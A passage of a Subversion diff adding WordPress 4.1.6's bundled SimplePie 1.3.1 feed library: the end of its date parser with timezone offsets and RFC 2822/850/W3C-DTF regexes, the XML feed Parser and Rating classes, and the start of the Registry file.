+		'PYT' => -14400,
+		'RET' => 14400,
+		'ROTT' => -10800,
+		'SAMST' => 18000,
+		'SAMT' => 14400,
+		'SAST' => 7200,
+		'SBT' => 39600,
+		'SCDT' => 46800,
+		'SCST' => 43200,
+		'SCT' => 14400,
+		'SEST' => 3600,
+		'SGT' => 28800,
+		'SIT' => 28800,
+		'SRT' => -10800,
+		'SST' => -39600,
+		'SYST' => 10800,
+		'SYT' => 7200,
+		'TFT' => 18000,
+		'THAT' => -36000,
+		'TJT' => 18000,
+		'TKT' => -36000,
+		'TMT' => 18000,
+		'TOT' => 46800,
+		'TPT' => 32400,
+		'TRUT' => 36000,
+		'TVT' => 43200,
+		'TWT' => 28800,
+		'UYST' => -7200,
+		'UYT' => -10800,
+		'UZT' => 18000,
+		'VET' => -14400,
+		'VLAST' => 39600,
+		'VLAT' => 36000,
+		'VOST' => 21600,
+		'VUT' => 39600,
+		'WAST' => 7200,
+		'WAT' => 3600,
+		'WDT' => 32400,
+		'WEST' => 3600,
+		'WFT' => 43200,
+		'WIB' => 25200,
+		'WIT' => 32400,
+		'WITA' => 28800,
+		'WKST' => 18000,
+		'WST' => 28800,
+		'YAKST' => 36000,
+		'YAKT' => 32400,
+		'YAPT' => 36000,
+		'YEKST' => 21600,
+		'YEKT' => 18000,
+	);
+
+	/**
+	 * Cached PCRE for SimplePie_Parse_Date::$day
+	 *
+	 * @access protected
+	 * @var string
+	 */
+	var $day_pcre;
+
+	/**
+	 * Cached PCRE for SimplePie_Parse_Date::$month
+	 *
+	 * @access protected
+	 * @var string
+	 */
+	var $month_pcre;
+
+	/**
+	 * Array of user-added callback methods
+	 *
+	 * @access private
+	 * @var array
+	 */
+	var $built_in = array();
+
+	/**
+	 * Array of user-added callback methods
+	 *
+	 * @access private
+	 * @var array
+	 */
+	var $user = array();
+
+	/**
+	 * Create new SimplePie_Parse_Date object, and set self::day_pcre,
+	 * self::month_pcre, and self::built_in
+	 *
+	 * @access private
+	 */
+	public function __construct()
+	{
+		$this->day_pcre = '(' . implode(array_keys($this->day), '|') . ')';
+		$this->month_pcre = '(' . implode(array_keys($this->month), '|') . ')';
+
+		static $cache;
+		if (!isset($cache[get_class($this)]))
+		{
+			$all_methods = get_class_methods($this);
+
+			foreach ($all_methods as $method)
+			{
+				if (strtolower(substr($method, 0, 5)) === 'date_')
+				{
+					$cache[get_class($this)][] = $method;
+				}
+			}
+		}
+
+		foreach ($cache[get_class($this)] as $method)
+		{
+			$this->built_in[] = $method;
+		}
+	}
+
+	/**
+	 * Get the object
+	 *
+	 * @access public
+	 */
+	public static function get()
+	{
+		static $object;
+		if (!$object)
+		{
+			$object = new SimplePie_Parse_Date;
+		}
+		return $object;
+	}
+
+	/**
+	 * Parse a date
+	 *
+	 * @final
+	 * @access public
+	 * @param string $date Date to parse
+	 * @return int Timestamp corresponding to date string, or false on failure
+	 */
+	public function parse($date)
+	{
+		foreach ($this->user as $method)
+		{
+			if (($returned = call_user_func($method, $date)) !== false)
+			{
+				return $returned;
+			}
+		}
+
+		foreach ($this->built_in as $method)
+		{
+			if (($returned = call_user_func(array($this, $method), $date)) !== false)
+			{
+				return $returned;
+			}
+		}
+
+		return false;
+	}
+
+	/**
+	 * Add a callback method to parse a date
+	 *
+	 * @final
+	 * @access public
+	 * @param callback $callback
+	 */
+	public function add_callback($callback)
+	{
+		if (is_callable($callback))
+		{
+			$this->user[] = $callback;
+		}
+		else
+		{
+			trigger_error('User-supplied function must be a valid callback', E_USER_WARNING);
+		}
+	}
+
+	/**
+	 * Parse a superset of W3C-DTF (allows hyphens and colons to be omitted, as
+	 * well as allowing any of upper or lower case "T", horizontal tabs, or
+	 * spaces to be used as the time seperator (including more than one))
+	 *
+	 * @access protected
+	 * @return int Timestamp
+	 */
+	public function date_w3cdtf($date)
+	{
+		static $pcre;
+		if (!$pcre)
+		{
+			$year = '([0-9]{4})';
+			$month = $day = $hour = $minute = $second = '([0-9]{2})';
+			$decimal = '([0-9]*)';
+			$zone = '(?:(Z)|([+\-])([0-9]{1,2}):?([0-9]{1,2}))';
+			$pcre = '/^' . $year . '(?:-?' . $month . '(?:-?' . $day . '(?:[Tt\x09\x20]+' . $hour . '(?::?' . $minute . '(?::?' . $second . '(?:.' . $decimal . ')?)?)?' . $zone . ')?)?)?$/';
+		}
+		if (preg_match($pcre, $date, $match))
+		{
+			/*
+			Capturing subpatterns:
+			1: Year
+			2: Month
+			3: Day
+			4: Hour
+			5: Minute
+			6: Second
+			7: Decimal fraction of a second
+			8: Zulu
+			9: Timezone ±
+			10: Timezone hours
+			11: Timezone minutes
+			*/
+
+			// Fill in empty matches
+			for ($i = count($match); $i <= 3; $i++)
+			{
+				$match[$i] = '1';
+			}
+
+			for ($i = count($match); $i <= 7; $i++)
+			{
+				$match[$i] = '0';
+			}
+
+			// Numeric timezone
+			if (isset($match[9]) && $match[9] !== '')
+			{
+				$timezone = $match[10] * 3600;
+				$timezone += $match[11] * 60;
+				if ($match[9] === '-')
+				{
+					$timezone = 0 - $timezone;
+				}
+			}
+			else
+			{
+				$timezone = 0;
+			}
+
+			// Convert the number of seconds to an integer, taking decimals into account
+			$second = round($match[6] + $match[7] / pow(10, strlen($match[7])));
+
+			return gmmktime($match[4], $match[5], $second, $match[2], $match[3], $match[1]) - $timezone;
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Remove RFC822 comments
+	 *
+	 * @access protected
+	 * @param string $data Data to strip comments from
+	 * @return string Comment stripped string
+	 */
+	public function remove_rfc2822_comments($string)
+	{
+		$string = (string) $string;
+		$position = 0;
+		$length = strlen($string);
+		$depth = 0;
+
+		$output = '';
+
+		while ($position < $length && ($pos = strpos($string, '(', $position)) !== false)
+		{
+			$output .= substr($string, $position, $pos - $position);
+			$position = $pos + 1;
+			if ($string[$pos - 1] !== '\\')
+			{
+				$depth++;
+				while ($depth && $position < $length)
+				{
+					$position += strcspn($string, '()', $position);
+					if ($string[$position - 1] === '\\')
+					{
+						$position++;
+						continue;
+					}
+					elseif (isset($string[$position]))
+					{
+						switch ($string[$position])
+						{
+							case '(':
+								$depth++;
+								break;
+
+							case ')':
+								$depth--;
+								break;
+						}
+						$position++;
+					}
+					else
+					{
+						break;
+					}
+				}
+			}
+			else
+			{
+				$output .= '(';
+			}
+		}
+		$output .= substr($string, $position);
+
+		return $output;
+	}
+
+	/**
+	 * Parse RFC2822's date format
+	 *
+	 * @access protected
+	 * @return int Timestamp
+	 */
+	public function date_rfc2822($date)
+	{
+		static $pcre;
+		if (!$pcre)
+		{
+			$wsp = '[\x09\x20]';
+			$fws = '(?:' . $wsp . '+|' . $wsp . '*(?:\x0D\x0A' . $wsp . '+)+)';
+			$optional_fws = $fws . '?';
+			$day_name = $this->day_pcre;
+			$month = $this->month_pcre;
+			$day = '([0-9]{1,2})';
+			$hour = $minute = $second = '([0-9]{2})';
+			$year = '([0-9]{2,4})';
+			$num_zone = '([+\-])([0-9]{2})([0-9]{2})';
+			$character_zone = '([A-Z]{1,5})';
+			$zone = '(?:' . $num_zone . '|' . $character_zone . ')';
+			$pcre = '/(?:' . $optional_fws . $day_name . $optional_fws . ',)?' . $optional_fws . $day . $fws . $month . $fws . $year . $fws . $hour . $optional_fws . ':' . $optional_fws . $minute . '(?:' . $optional_fws . ':' . $optional_fws . $second . ')?' . $fws . $zone . '/i';
+		}
+		if (preg_match($pcre, $this->remove_rfc2822_comments($date), $match))
+		{
+			/*
+			Capturing subpatterns:
+			1: Day name
+			2: Day
+			3: Month
+			4: Year
+			5: Hour
+			6: Minute
+			7: Second
+			8: Timezone ±
+			9: Timezone hours
+			10: Timezone minutes
+			11: Alphabetic timezone
+			*/
+
+			// Find the month number
+			$month = $this->month[strtolower($match[3])];
+
+			// Numeric timezone
+			if ($match[8] !== '')
+			{
+				$timezone = $match[9] * 3600;
+				$timezone += $match[10] * 60;
+				if ($match[8] === '-')
+				{
+					$timezone = 0 - $timezone;
+				}
+			}
+			// Character timezone
+			elseif (isset($this->timezone[strtoupper($match[11])]))
+			{
+				$timezone = $this->timezone[strtoupper($match[11])];
+			}
+			// Assume everything else to be -0000
+			else
+			{
+				$timezone = 0;
+			}
+
+			// Deal with 2/3 digit years
+			if ($match[4] < 50)
+			{
+				$match[4] += 2000;
+			}
+			elseif ($match[4] < 1000)
+			{
+				$match[4] += 1900;
+			}
+
+			// Second is optional, if it is empty set it to zero
+			if ($match[7] !== '')
+			{
+				$second = $match[7];
+			}
+			else
+			{
+				$second = 0;
+			}
+
+			return gmmktime($match[5], $match[6], $second, $month, $match[2], $match[4]) - $timezone;
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Parse RFC850's date format
+	 *
+	 * @access protected
+	 * @return int Timestamp
+	 */
+	public function date_rfc850($date)
+	{
+		static $pcre;
+		if (!$pcre)
+		{
+			$space = '[\x09\x20]+';
+			$day_name = $this->day_pcre;
+			$month = $this->month_pcre;
+			$day = '([0-9]{1,2})';
+			$year = $hour = $minute = $second = '([0-9]{2})';
+			$zone = '([A-Z]{1,5})';
+			$pcre = '/^' . $day_name . ',' . $space . $day . '-' . $month . '-' . $year . $space . $hour . ':' . $minute . ':' . $second . $space . $zone . '$/i';
+		}
+		if (preg_match($pcre, $date, $match))
+		{
+			/*
+			Capturing subpatterns:
+			1: Day name
+			2: Day
+			3: Month
+			4: Year
+			5: Hour
+			6: Minute
+			7: Second
+			8: Timezone
+			*/
+
+			// Month
+			$month = $this->month[strtolower($match[3])];
+
+			// Character timezone
+			if (isset($this->timezone[strtoupper($match[8])]))
+			{
+				$timezone = $this->timezone[strtoupper($match[8])];
+			}
+			// Assume everything else to be -0000
+			else
+			{
+				$timezone = 0;
+			}
+
+			// Deal with 2 digit year
+			if ($match[4] < 50)
+			{
+				$match[4] += 2000;
+			}
+			else
+			{
+				$match[4] += 1900;
+			}
+
+			return gmmktime($match[5], $match[6], $match[7], $month, $match[2], $match[4]) - $timezone;
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Parse C99's asctime()'s date format
+	 *
+	 * @access protected
+	 * @return int Timestamp
+	 */
+	public function date_asctime($date)
+	{
+		static $pcre;
+		if (!$pcre)
+		{
+			$space = '[\x09\x20]+';
+			$wday_name = $this->day_pcre;
+			$mon_name = $this->month_pcre;
+			$day = '([0-9]{1,2})';
+			$hour = $sec = $min = '([0-9]{2})';
+			$year = '([0-9]{4})';
+			$terminator = '\x0A?\x00?';
+			$pcre = '/^' . $wday_name . $space . $mon_name . $space . $day . $space . $hour . ':' . $min . ':' . $sec . $space . $year . $terminator . '$/i';
+		}
+		if (preg_match($pcre, $date, $match))
+		{
+			/*
+			Capturing subpatterns:
+			1: Day name
+			2: Month
+			3: Day
+			4: Hour
+			5: Minute
+			6: Second
+			7: Year
+			*/
+
+			$month = $this->month[strtolower($match[2])];
+			return gmmktime($match[4], $match[5], $match[6], $month, $match[3], $match[7]);
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Parse dates using strtotime()
+	 *
+	 * @access protected
+	 * @return int Timestamp
+	 */
+	public function date_strtotime($date)
+	{
+		$strtotime = strtotime($date);
+		if ($strtotime === -1 || $strtotime === false)
+		{
+			return false;
+		}
+		else
+		{
+			return $strtotime;
+		}
+	}
+}
+
Index: /tags/4.1.6/src/wp-includes/SimplePie/Parser.php
===================================================================
--- /tags/4.1.6/src/wp-includes/SimplePie/Parser.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/SimplePie/Parser.php	(revision 33402)
@@ -0,0 +1,407 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Parses XML into something sane
+ *
+ *
+ * This class can be overloaded with {@see SimplePie::set_parser_class()}
+ *
+ * @package SimplePie
+ * @subpackage Parsing
+ */
+class SimplePie_Parser
+{
+	var $error_code;
+	var $error_string;
+	var $current_line;
+	var $current_column;
+	var $current_byte;
+	var $separator = ' ';
+	var $namespace = array('');
+	var $element = array('');
+	var $xml_base = array('');
+	var $xml_base_explicit = array(false);
+	var $xml_lang = array('');
+	var $data = array();
+	var $datas = array(array());
+	var $current_xhtml_construct = -1;
+	var $encoding;
+	protected $registry;
+
+	public function set_registry(SimplePie_Registry $registry)
+	{
+		$this->registry = $registry;
+	}
+
+	public function parse(&$data, $encoding)
+	{
+		// Use UTF-8 if we get passed US-ASCII, as every US-ASCII character is a UTF-8 character
+		if (strtoupper($encoding) === 'US-ASCII')
+		{
+			$this->encoding = 'UTF-8';
+		}
+		else
+		{
+			$this->encoding = $encoding;
+		}
+
+		// Strip BOM:
+		// UTF-32 Big Endian BOM
+		if (substr($data, 0, 4) === "\x00\x00\xFE\xFF")
+		{
+			$data = substr($data, 4);
+		}
+		// UTF-32 Little Endian BOM
+		elseif (substr($data, 0, 4) === "\xFF\xFE\x00\x00")
+		{
+			$data = substr($data, 4);
+		}
+		// UTF-16 Big Endian BOM
+		elseif (substr($data, 0, 2) === "\xFE\xFF")
+		{
+			$data = substr($data, 2);
+		}
+		// UTF-16 Little Endian BOM
+		elseif (substr($data, 0, 2) === "\xFF\xFE")
+		{
+			$data = substr($data, 2);
+		}
+		// UTF-8 BOM
+		elseif (substr($data, 0, 3) === "\xEF\xBB\xBF")
+		{
+			$data = substr($data, 3);
+		}
+
+		if (substr($data, 0, 5) === '<?xml' && strspn(substr($data, 5, 1), "\x09\x0A\x0D\x20") && ($pos = strpos($data, '?>')) !== false)
+		{
+			$declaration = $this->registry->create('XML_Declaration_Parser', array(substr($data, 5, $pos - 5)));
+			if ($declaration->parse())
+			{
+				$data = substr($data, $pos + 2);
+				$data = '<?xml version="' . $declaration->version . '" encoding="' . $encoding . '" standalone="' . (($declaration->standalone) ? 'yes' : 'no') . '"?>' . $data;
+			}
+			else
+			{
+				$this->error_string = 'SimplePie bug! Please report this!';
+				return false;
+			}
+		}
+
+		$return = true;
+
+		static $xml_is_sane = null;
+		if ($xml_is_sane === null)
+		{
+			$parser_check = xml_parser_create();
+			xml_parse_into_struct($parser_check, '<foo>&amp;</foo>', $values);
+			xml_parser_free($parser_check);
+			$xml_is_sane = isset($values[0]['value']);
+		}
+
+		// Create the parser
+		if ($xml_is_sane)
+		{
+			$xml = xml_parser_create_ns($this->encoding, $this->separator);
+			xml_parser_set_option($xml, XML_OPTION_SKIP_WHITE, 1);
+			xml_parser_set_option($xml, XML_OPTION_CASE_FOLDING, 0);
+			xml_set_object($xml, $this);
+			xml_set_character_data_handler($xml, 'cdata');
+			xml_set_element_handler($xml, 'tag_open', 'tag_close');
+
+			// Parse!
+			if (!xml_parse($xml, $data, true))
+			{
+				$this->error_code = xml_get_error_code($xml);
+				$this->error_string = xml_error_string($this->error_code);
+				$return = false;
+			}
+			$this->current_line = xml_get_current_line_number($xml);
+			$this->current_column = xml_get_current_column_number($xml);
+			$this->current_byte = xml_get_current_byte_index($xml);
+			xml_parser_free($xml);
+			return $return;
+		}
+		else
+		{
+			libxml_clear_errors();
+			$xml = new XMLReader();
+			$xml->xml($data);
+			while (@$xml->read())
+			{
+				switch ($xml->nodeType)
+				{
+
+					case constant('XMLReader::END_ELEMENT'):
+						if ($xml->namespaceURI !== '')
+						{
+							$tagName = $xml->namespaceURI . $this->separator . $xml->localName;
+						}
+						else
+						{
+							$tagName = $xml->localName;
+						}
+						$this->tag_close(null, $tagName);
+						break;
+					case constant('XMLReader::ELEMENT'):
+						$empty = $xml->isEmptyElement;
+						if ($xml->namespaceURI !== '')
+						{
+							$tagName = $xml->namespaceURI . $this->separator . $xml->localName;
+						}
+						else
+						{
+							$tagName = $xml->localName;
+						}
+						$attributes = array();
+						while ($xml->moveToNextAttribute())
+						{
+							if ($xml->namespaceURI !== '')
+							{
+								$attrName = $xml->namespaceURI . $this->separator . $xml->localName;
+							}
+							else
+							{
+								$attrName = $xml->localName;
+							}
+							$attributes[$attrName] = $xml->value;
+						}
+						$this->tag_open(null, $tagName, $attributes);
+						if ($empty)
+						{
+							$this->tag_close(null, $tagName);
+						}
+						break;
+					case constant('XMLReader::TEXT'):
+
+					case constant('XMLReader::CDATA'):
+						$this->cdata(null, $xml->value);
+						break;
+				}
+			}
+			if ($error = libxml_get_last_error())
+			{
+				$this->error_code = $error->code;
+				$this->error_string = $error->message;
+				$this->current_line = $error->line;
+				$this->current_column = $error->column;
+				return false;
+			}
+			else
+			{
+				return true;
+			}
+		}
+	}
+
+	public function get_error_code()
+	{
+		return $this->error_code;
+	}
+
+	public function get_error_string()
+	{
+		return $this->error_string;
+	}
+
+	public function get_current_line()
+	{
+		return $this->current_line;
+	}
+
+	public function get_current_column()
+	{
+		return $this->current_column;
+	}
+
+	public function get_current_byte()
+	{
+		return $this->current_byte;
+	}
+
+	public function get_data()
+	{
+		return $this->data;
+	}
+
+	public function tag_open($parser, $tag, $attributes)
+	{
+		list($this->namespace[], $this->element[]) = $this->split_ns($tag);
+
+		$attribs = array();
+		foreach ($attributes as $name => $value)
+		{
+			list($attrib_namespace, $attribute) = $this->split_ns($name);
+			$attribs[$attrib_namespace][$attribute] = $value;
+		}
+
+		if (isset($attribs[SIMPLEPIE_NAMESPACE_XML]['base']))
+		{
+			$base = $this->registry->call('Misc', 'absolutize_url', array($attribs[SIMPLEPIE_NAMESPACE_XML]['base'], end($this->xml_base)));
+			if ($base !== false)
+			{
+				$this->xml_base[] = $base;
+				$this->xml_base_explicit[] = true;
+			}
+		}
+		else
+		{
+			$this->xml_base[] = end($this->xml_base);
+			$this->xml_base_explicit[] = end($this->xml_base_explicit);
+		}
+
+		if (isset($attribs[SIMPLEPIE_NAMESPACE_XML]['lang']))
+		{
+			$this->xml_lang[] = $attribs[SIMPLEPIE_NAMESPACE_XML]['lang'];
+		}
+		else
+		{
+			$this->xml_lang[] = end($this->xml_lang);
+		}
+
+		if ($this->current_xhtml_construct >= 0)
+		{
+			$this->current_xhtml_construct++;
+			if (end($this->namespace) === SIMPLEPIE_NAMESPACE_XHTML)
+			{
+				$this->data['data'] .= '<' . end($this->element);
+				if (isset($attribs['']))
+				{
+					foreach ($attribs[''] as $name => $value)
+					{
+						$this->data['data'] .= ' ' . $name . '="' . htmlspecialchars($value, ENT_COMPAT, $this->encoding) . '"';
+					}
+				}
+				$this->data['data'] .= '>';
+			}
+		}
+		else
+		{
+			$this->datas[] =& $this->data;
+			$this->data =& $this->data['child'][end($this->namespace)][end($this->element)][];
+			$this->data = array('data' => '', 'attribs' => $attribs, 'xml_base' => end($this->xml_base), 'xml_base_explicit' => end($this->xml_base_explicit), 'xml_lang' => end($this->xml_lang));
+			if ((end($this->namespace) === SIMPLEPIE_NAMESPACE_ATOM_03 && in_array(end($this->element), array('title', 'tagline', 'copyright', 'info', 'summary', 'content')) && isset($attribs['']['mode']) && $attribs['']['mode'] === 'xml')
+			|| (end($this->namespace) === SIMPLEPIE_NAMESPACE_ATOM_10 && in_array(end($this->element), array('rights', 'subtitle', 'summary', 'info', 'title', 'content')) && isset($attribs['']['type']) && $attribs['']['type'] === 'xhtml')
+			|| (end($this->namespace) === SIMPLEPIE_NAMESPACE_RSS_20 && in_array(end($this->element), array('title')))
+			|| (end($this->namespace) === SIMPLEPIE_NAMESPACE_RSS_090 && in_array(end($this->element), array('title')))
+			|| (end($this->namespace) === SIMPLEPIE_NAMESPACE_RSS_10 && in_array(end($this->element), array('title'))))
+			{
+				$this->current_xhtml_construct = 0;
+			}
+		}
+	}
+
+	public function cdata($parser, $cdata)
+	{
+		if ($this->current_xhtml_construct >= 0)
+		{
+			$this->data['data'] .= htmlspecialchars($cdata, ENT_QUOTES, $this->encoding);
+		}
+		else
+		{
+			$this->data['data'] .= $cdata;
+		}
+	}
+
+	public function tag_close($parser, $tag)
+	{
+		if ($this->current_xhtml_construct >= 0)
+		{
+			$this->current_xhtml_construct--;
+			if (end($this->namespace) === SIMPLEPIE_NAMESPACE_XHTML && !in_array(end($this->element), array('area', 'base', 'basefont', 'br', 'col', 'frame', 'hr', 'img', 'input', 'isindex', 'link', 'meta', 'param')))
+			{
+				$this->data['data'] .= '</' . end($this->element) . '>';
+			}
+		}
+		if ($this->current_xhtml_construct === -1)
+		{
+			$this->data =& $this->datas[count($this->datas) - 1];
+			array_pop($this->datas);
+		}
+
+		array_pop($this->element);
+		array_pop($this->namespace);
+		array_pop($this->xml_base);
+		array_pop($this->xml_base_explicit);
+		array_pop($this->xml_lang);
+	}
+
+	public function split_ns($string)
+	{
+		static $cache = array();
+		if (!isset($cache[$string]))
+		{
+			if ($pos = strpos($string, $this->separator))
+			{
+				static $separator_length;
+				if (!$separator_length)
+				{
+					$separator_length = strlen($this->separator);
+				}
+				$namespace = substr($string, 0, $pos);
+				$local_name = substr($string, $pos + $separator_length);
+				if (strtolower($namespace) === SIMPLEPIE_NAMESPACE_ITUNES)
+				{
+					$namespace = SIMPLEPIE_NAMESPACE_ITUNES;
+				}
+
+				// Normalize the Media RSS namespaces
+				if ($namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG ||
+					$namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG2 ||
+					$namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG3 ||
+					$namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG4 ||
+					$namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG5 )
+				{
+					$namespace = SIMPLEPIE_NAMESPACE_MEDIARSS;
+				}
+				$cache[$string] = array($namespace, $local_name);
+			}
+			else
+			{
+				$cache[$string] = array('', $string);
+			}
+		}
+		return $cache[$string];
+	}
+}
Index: /tags/4.1.6/src/wp-includes/SimplePie/Rating.php
===================================================================
--- /tags/4.1.6/src/wp-includes/SimplePie/Rating.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/SimplePie/Rating.php	(revision 33402)
@@ -0,0 +1,129 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Handles `<media:rating>` or `<itunes:explicit>` tags as defined in Media RSS and iTunes RSS respectively
+ *
+ * Used by {@see SimplePie_Enclosure::get_rating()} and {@see SimplePie_Enclosure::get_ratings()}
+ *
+ * This class can be overloaded with {@see SimplePie::set_rating_class()}
+ *
+ * @package SimplePie
+ * @subpackage API
+ */
+class SimplePie_Rating
+{
+	/**
+	 * Rating scheme
+	 *
+	 * @var string
+	 * @see get_scheme()
+	 */
+	var $scheme;
+
+	/**
+	 * Rating value
+	 *
+	 * @var string
+	 * @see get_value()
+	 */
+	var $value;
+
+	/**
+	 * Constructor, used to input the data
+	 *
+	 * For documentation on all the parameters, see the corresponding
+	 * properties and their accessors
+	 */
+	public function __construct($scheme = null, $value = null)
+	{
+		$this->scheme = $scheme;
+		$this->value = $value;
+	}
+
+	/**
+	 * String-ified version
+	 *
+	 * @return string
+	 */
+	public function __toString()
+	{
+		// There is no $this->data here
+		return md5(serialize($this));
+	}
+
+	/**
+	 * Get the organizational scheme for the rating
+	 *
+	 * @return string|null
+	 */
+	public function get_scheme()
+	{
+		if ($this->scheme !== null)
+		{
+			return $this->scheme;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the value of the rating
+	 *
+	 * @return string|null
+	 */
+	public function get_value()
+	{
+		if ($this->value !== null)
+		{
+			return $this->value;
+		}
+		else
+		{
+			return null;
+		}
+	}
+}
Index: /tags/4.1.6/src/wp-includes/SimplePie/Registry.php
===================================================================
--- /tags/4.1.6/src/wp-includes/SimplePie/Registry.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/SimplePie/Registry.php	(revision 33402)
@@ -0,0 +1,225 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
